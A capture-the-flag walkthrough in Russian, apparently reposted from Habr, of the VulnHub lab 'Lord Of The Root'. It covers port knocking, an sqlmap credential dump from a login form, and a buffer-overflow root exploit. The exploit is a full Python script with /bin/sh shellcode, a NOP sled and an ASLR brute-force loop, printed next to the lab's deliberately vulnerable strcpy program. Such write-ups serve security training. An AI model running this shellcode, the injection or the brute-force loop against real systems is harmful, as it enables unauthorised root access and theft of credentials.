VulnHub: Эксплуатируем уязвимость переполнения буфера в Lord Of The Root

от автора

Продолжаем разбор квестов с VulnHub, на этот раз попался довольно интересный с обходом ASLR: Lord Of The Root. Но обо всём по порядку…

Запускаем виртуалку с образом:

Уже интересно. В этой лабе нам предоставили графический интерфейс, и дали первую зацепку, в виде логина пользователя: smeagol.

Но оставим пока авторизацию, и перейдём к изечению открытых портов:

$ sudo arp-scan -l | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535

Starting Nmap 7.01 ( nmap.org ) at 2016-12-21 19:33 MSK
Nmap scan report for 192.168.1.175
Host is up (0.00033s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
| 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
|_ 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
MAC Address: 08:00:27:40:B5:B3 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 — 3.19, Linux 3.2 — 4.0
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Всего 1 порт? Серьёзно? Запустив nmap повторно, убеждаемся, что пока нам доступен только ssh. Попробуем подключиться:

$ ssh smeagol@192.168.1.175


«Постучи друг, чтобы войти» — отсылка к Властелину Колец. Быстро найдя, что в оригинале друг — это mellon, пробуем авторизоваться.
Попытка оказалась неудачной, брутфорс логинов и возможных паролей по тематике тоже не дал результатов.
Меня смутило слово постучи, уже имея дело с port knocking, я предположил что он и тут используется.
Проверяем догадку:

$ sudo knock 192.168.1.175 1 2 3; ssh smeagol@192.168.1.175

К сожалению, ничего не изменилось. авторизация по прежнему требуется.
А что если, после «стука» открывается какой-то порт?

$ sudo knock 192.168.1.175 1 2 3; sudo nmap 192.168.1.175 -sV -p1-65535

Спустя продолжительное время, получаем такой результат:

Starting Nmap 7.01 ( nmap.org ) at 2016-12-22 02:42 MSK
Nmap scan report for 192.168.1.175
Host is up (0.00020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
1337/tcp open http Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 08:00:27:39:91:65 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

P.S. Тут стоит оговориться, что для ускорения процесса, сканировать порты лучше небольшими диапазонами.

Действительно, на «элитном» порту крутится Apache, посмотрим что там:

<html> <img src="/images/iwilldoit.jpg" align="middle"> </html>

Не многословно… После анализа картинки, в ней тоже ничего не было найдено.
Возможно есть скрытые файлы и директории?

sudo dirsearch -u http://192.168.1.175:1337/ -e php,html,js,json,jpg,txt,bak -w /usr/share/dirb/wordlists/big.txt

Ничего интересного, на всякий случай заглянув на 404.html, получаем ещё одно изображение:

и вот такой код:

<html> <img src="/images/hipster.jpg" align="middle"> <!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh> </html>

А вот это уже что-то! Декодируем:

$ echo THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh | base64 -d Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer! $ echo Lzk3ODM0NTIxMC9pbmRleC5waHA= | base64 -d /978345210/index.php

Ссылка на на ещё одну старницу, переходим туда:

Авторизация… Проверяем первым делом на наличие SQL инъекций:

$ sudo sqlmap -u 'http://192.168.1.175:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' -vv


Нас редиректнуло. Сказав sqlmap продолжить искать, проверяем что находится на странице profile.php. Авторизуемся, используя найденный payload.

<!DOCTYPE html> <html> <head> <title>LOTR Profile</title> </head> <body> <div id="profile"> <b id="welcome">Welcome : <i></i></b> <br> <img src="/images/legolas.jpg" align="middle"><br> <b id="logout"><a href="logout.php">Log Out</a></b> </div> </body> </html>

Не найдя тут ничего интересного, продолжаем раскручивать инъекцию:

$ sudo sqlmap -u 'http://10.0.31.127:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' --dbms=MySQL -p username --tables --risk=3 --level=2

В лог sqlmap попала база данных: Webapp и единственная таблица: Users. После дампа которой, получаем список логинов и паролей:

Тут есть пользователь smeagol, полагаясь на то, что пароль от веб такой же как пароль от системы, пробуем авторизоваться и получаем рабочий стол. Отлично!
В истории команд видим записи:

smeagol@LordOfTheRoot:~$ cat .bash_history
su — sudo /etc/passwod
visudo
smeagol@LordOfTheRoot:~$

Открыв браузер, в истории можно проследить весь этап создания этой лабы:

Тут же видим ссылку, на описание уязвимости с переполнением буфера.

Далее при беглом осмотре системы находим папку /SECRET со следующим содержимым:

Почитав статью, понимаем, что один из этих файлов имеет описанную там уязвимость, а ниже находим пример эксплойта. Осталось понять какой из файлов. Скачиваем их себе и открываем в IDA, для любителей gdb в виртуалке могут использовать его.

/SECRET/door1/file


/SECRET/door2/file


/SECRET/door3/file

И так, нужный нам файл находится за «второй дверью», если внимательно посмотреть, то заметно, что размер этого файла меньше чем у остальных. Копируем эксплоит, компилим его, запускаем, и ничего. Пробуем подставить другие числа, и снова ничего.
Открыв этот файл в gdb прямо на виртуальной машине, видим что он изменился! О как… Понаблюдав ещё некоторое время, замечаем, что уязвимый файл, постоянно «перемещается» между этими директориями.
Далее шла череда безуспешных попыток воспользоваться этим эксплойтом, на все попытки я либо ничего в ответ не получал, либо это была ошибка «Segmentation fault» либо «Illegal instruction»
После долгих экспериментов и просмотра состояния регистров и стека, до и после обработки входной строки, я заметил, что адрес стека всё меняется в диапазоне от 0xBF000000 до 0xBFFFFFFF.
Выполнив команду:

$ cat /proc/sys/kernel/randomize_va_space 2

Убеждаемся, что в системе включен ASLR. Есть несколько способов его обхода, о них уже неоднократно писалось ранее. Я остановился на BruteForce, потому что диапазон изменения памяти не такой большой, да и файл слишком прост, чтобы всё усложнять.
Нам потребуется GDB Peda.
Для начала, нужно определиться со смещением по которому находится адрес возврата, именно его и нужно будет переписать.

Запускаем наш файл в отладчике, передав ему очень длинную строку в качестве аргумента


Отлично, адрес возврата (EIP) перезаписан нашим значением.

Далее, с помощью шаблонов в peda можно автоматически определить смещение по которому этот адрес расположен. Создаём шаблон:

И после запуска получаем примерно такой вывод:

Смещения найдены (я брал примерно среднее значение адреса стека), можно приступить к написанию эксплоита. Там же в peda можно на выбор сгенерировать шелл-код:

Однако сразу стоит предупредить, что у вас могут быть другие смещения.

#!/usr/bin/python import struct import os  def p(x):     return struct.pack("<L", x)  shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"  payload = ""  payload += "A"*171 payload += p(0xbfb1c5ec) payload += "\x90"*30000 payload += shell  def getFile():     output = subprocess.Popen(['find', '/SECRET/', '-type', 'f', '-size', '-7k'], stdout=subprocess.PIPE)     path = output.communicate()[0]     path = path.decode().strip()     return path  while True:     os.system('%s "%s"' %(getFile(), payload))  #os.system('gdb --args %s "%s"' %(getFile(), payload)) 

После запуска получаем кучу ошибок, и спустя некоторое время получаем root доступ, а вместе с ним и флаг:

P.S. Кому интересно, вот так выглядели исходники, скрипта меняющего файлы и уязвимая программа. Скрипт switcher.py был прописан в cron.

switcher.py

#!/usr/bin/python import os from random import randint  targets= ["/SECRET/door1/","/SECRET/door2/","/SECRET/door3/"] for t in targets:    os.system("rm "+t+"*")    os.system("cp -p other "+t)    os.system("cp -p "+t+"other "+t+"file")    os.system("rm "+t+"other")  luckyDoor = randint(0,2) t=targets[luckyDoor] os.system("rm "+t+"*") os.system("cp -p buf "+t) os.system("cp -p "+t+"buf "+t+"file") os.system("rm "+t+"buf")

other.c

#include <string.h> #include <stdio.h> #include <stdlib.h>  int main(int argc, char *argv[]){         char buff[150];         if(argc <2){                 printf("Syntax: %s <input string>\n", argv[0]);                 exit (0);          }   //This Program does nothing   return 0;  }

buf.c

#include <string.h> #include <stdio.h> #include <stdlib.h>  int main(int argc, char *argv[]){  	char buff[159]; 	if(argc <2){    		printf("Syntax: %s <input string>\n", argv[0]); 		exit (0);       	}   strcpy(buff, argv[1]);   return 0;  }

ссылка на оригинал статьи https://habrahabr.ru/post/318238/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *